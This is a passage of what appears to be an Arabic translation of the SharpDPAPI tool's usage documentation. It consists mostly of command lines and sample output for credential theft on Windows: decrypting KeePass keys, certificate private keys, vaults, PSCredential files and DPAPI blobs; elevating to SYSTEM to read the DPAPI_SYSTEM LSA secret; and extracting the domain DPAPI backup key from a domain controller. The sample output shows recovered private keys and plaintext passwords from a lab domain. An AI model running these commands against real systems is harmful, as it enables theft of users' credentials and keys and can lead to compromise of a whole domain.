استخدام /unprotect لفك تشفير أي مادة مفتاحية تم العثور عليها:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
أمر certificates سيبحث عن مفاتيح خاصة لشهادات DPAPI المشفرة للمستخدم وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير المفاتيح الخاصة، إذا تم تشغيل الأمر من سياق المستخدم الذي تحاول الوصول إلى شهاداته. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.
يمكن تحديد شهادة محددة باستخدام /target:FILE أو /target:C:\Folder\. في كلتا الحالتين، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة أو ب) يجب أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.
بشكل افتراضي، يتم عرض المفاتيح الخاصة القابلة للربط بشهادة مثبتة مرتبطة فقط. سيعرض الأمر /showall جميع المفاتيح الخاصة المفكوكة.
استخدم العلم /cng للمفاتيح الخاصة لـ CNG (الافتراضي هو capi).
استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
استخدام /unprotect لفك تشفير أي شهادات مستخدم تم العثور عليها:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: Certificate Triage
[*] Using CryptUnprotectData() for decryption.
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Description : Private Key
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 10/18/2022 11:40:07 AM
Expiry Date : 10/18/2023 12:00:07 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
يقوم أمر triage بتشغيل أوامر credentials و vaults و rdg و certificates الخاصة بالمستخدم.
يقوم أمر machinemasterkeys برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. سيعيد مجموعة من تعيينات masterkey {GUID}:SHA1.
يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Masterkey File Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
يقوم أمر machinecredentials برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي ملفات بيانات اعتماد للجهاز تم العثور عليها.
يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Credential Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging System Credentials
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
يقوم أمر machinevaults برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي خزائن (Vaults) للجهاز تم العثور عليها.
يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Vault Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging SYSTEM Vaults
[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
يستخدم أمر certificates /machine متجر شهادات الجهاز للبحث عن مفاتيح خاصة للشهادات القابلة لفك التشفير. /mkfile:X و {GUID}:masterkey قابلة للاستخدام مع الأمر /target:\[file|folder\]، وإلا سيقوم SharpDPAPI برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي مفاتيح خاصة مشفرة بنظام DPAPI للجهاز تم العثور عليها.
افتراضياً، يتم عرض المفاتيح الخاصة المرتبطة بشهادة مثبتة مرتبطة فقط. سيعرض الأمر /showall جميع المفاتيح الخاصة المفكوكة.
يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...
[*] Triaging System Certificates
Folder : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
File : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Unique Name : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Thumbprint : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=dev.theshire.local
Valid Date : 2/22/2021 3:50:43 PM
Expiry Date : 2/22/2022 3:50:43 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----
يقوم أمر machinetriage بتشغيل أوامر machinecredentials و machinevaults و certificates /machine الخاصة بالجهاز.
سيقوم أمر ps بوصف/فك تشفير ملف PSCredential clixml تم تصديره. يجب توفير /target:FILE.xml.
سيقوم الأمر بـ: أ) فك تشفير الملف باستخدام أي تعيينات masterkey "{GUID}:SHA1" تم تمريرها، ب) ملف /mkfile:FILE يحتوي على تعيينات masterkey {GUID}:SHA1 واحدة أو أكثر، ج) استخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) استخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول بحث لفك التشفير. يمكن استرداد تعيينات DPAPI GUID باستخدام أمر Mimikatz sekurlsa::dpapi.
سيستخدم العلم /unprotect وظيفة CryptUnprotectData() لفك تشفير ملف .xml للبيانات الاعتماد دون الحاجة إلى مفاتيح رئيسية، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.
فك تشفير ملف .xml للمعتمدة تم تصديره باستخدام CryptProtectData() (العلم /unprotect):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
استخدام تعيينات masterkey الخاصة بالمجال {GUID}:SHA1:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
سيقوم أمر blob بوصف/فك تشفير كتلة DPAPI blob. يجب توفير /target:<BASE64|blob.bin>.
سيقوم الأمر بـ: أ) فك تشفير الكتلة باستخدام أي تعيينات masterkey "{GUID}:SHA1" تم تمريرها، ب) ملف /mkfile:FILE يحتوي على تعيينات masterkey {GUID}:SHA1 واحدة أو أكثر، ج) استخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) استخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول بحث لفك التشفير. يمكن استرداد تعيينات DPAPI GUID باستخدام أمر Mimikatz sekurlsa::dpapi.
سيستخدم العلم /unprotect وظيفة CryptUnprotectData() لفك تشفير الكتلة دون الحاجة إلى مفاتيح رئيسية، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.
فك تشفير كتلة blob باستخدام CryptProtectData() (العلم /unprotect):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
استخدام تعيينات masterkey الخاصة بالمجال {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] الإجراء: وصف blob DPAPI
[*] استخدام CryptUnprotectData() لفك التشفير.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
استخدام مفتاح احتياطي لـ DPAPI للمجال لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] الإجراء: وصف blob DPAPI
[*] استخدام مفتاح احتياطي لـ DPAPI للمجال لفرز المفاتيح الرئيسية لتعيينات مفاتيح فك التشفير!
[*] ذاكرة التخزين المؤقت للمفاتيح الرئيسية للمستخدم:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
سيقوم أمر backupkey باسترداد مفتاح احتياطي لـ DPAPI للمجال من وحدة تحكم المجال باستخدام أسلوب LsaRetrievePrivateData API من Mimikatz. يمكن استخدام هذا المفتاح الخاص بعد ذلك لفك تشفير blobs المفاتيح الرئيسية لأي مستخدم في المجال. والأفضل من ذلك، أن المفتاح لا يتغير أبدًا ;)
يلزم وجود صلاحيات مسؤول المجال (أو ما يعادله) لاسترداد المفتاح من وحدة تحكم المجال البعيدة.
سيمنع العلم /nowrap التفاف المفتاح base64 عند العرض.
يمكن فك تشفير blob المفتاح base64 هذا إلى ملف .pvk ثنائي يمكن استخدامه بعد ذلك مع وحدة Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk، أو استخدامه في شكل blob/file /pvk:X مع أوامر SharpDPAPI masterkeys أو credentials أو vault.
بشكل افتراضي، سيحاول SharpDPAPI تحديد وحدة تحكم المجال الحالية عبر استدعاء API DsGetDcName. يمكن تحديد خادم باستخدام /server:COMPUTER.domain.com. إذا كنت تريد حفظ المفتاح على القرص بدلاً من إخراجه كـ blob base64، فاستخدم /file:key.pvk.
استرداد مفتاح احتياطي لـ DPAPI لوحدة تحكم المجال الحالية:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] الإجراء: استرداد مفتاح احتياطي لـ DPAPI للمجال
[*] استخدام وحدة تحكم المجال الحالية : PRIMARY.testlab.local
[*] المعرف المفضل للمفتاح الاحتياطي : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] الاسم الكامل للمفتاح الاحتياطي المفضل : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] المفتاح :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
استرداد مفتاح احتياطي لـ DPAPI لوحدة التحكم المحددة، مع إخراج المفتاح الاحتياطي إلى ملف:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] الإجراء: استرداد مفتاح احتياطي لـ DPAPI للمجال
[*] استخدام الخادم : primary.testlab.local
[*] المعرف المفضل للمفتاح الاحتياطي : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] الاسم الكامل للمفتاح الاحتياطي المفضل : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] تمت كتابة المفتاح الاحتياطي إلى : key.pvk
سيقوم أمر search بالبحث عن blobs محتملة لـ DPAPI في السجل والملفات والمجلدات و blobs base64. الاستخدام:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
يعمل الأمر `search` عن طريق البحث عن البايتات التالية، التي تمثل الرأس (الإصدار + GUID موفر DPAPI) لهيكل كتلة DPAPI:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
الأمر search له وسائط مختلفة حسب نوع البيانات التي يتم مسحها. لتحديد نوع البيانات، استخدم الوسيطة /type مع تحديد registry أو folder أو file أو base64. إذا لم تكن الوسيطة /type موجودة، فسيقوم الأمر بالبحث في السجل (registry) افتراضيًا.
عند البحث في السجل بدون وسائط أخرى، سيقوم الأمر بالبحث بشكل متكرر في خلايا HKEY_LOCAL_MACHINE و HKEY_USERS. استخدم المعامل /path لتحديد جذر المفتاح الذي سيتم البحث منه (مثل /path:HKLM\Software) واستخدم الوسيطة /showErrors لعرض الأخطاء التي تحدث أثناء التعداد.
عند البحث في ملف أو مجلد، حدد مسارًا باستخدام /path:C:\Path\to\file\or\folder واختياريًا استخدم /maxBytes:<int> لتحديد عدد البايتات التي سيتم قراءتها من كل ملف (الافتراضي: 1024 بايت). سيقوم الأمر بقراءة البايتات من بداية الملف والبحث عن blobs DPAPI. استخدم /showErrors لعرض أي أخطاء تحدث أثناء التعداد.
عند البحث في blob base64، حدد البايتات المشفرة بـ base64 التي سيتم مسحها باستخدام المعامل /base64:<base64 str>.
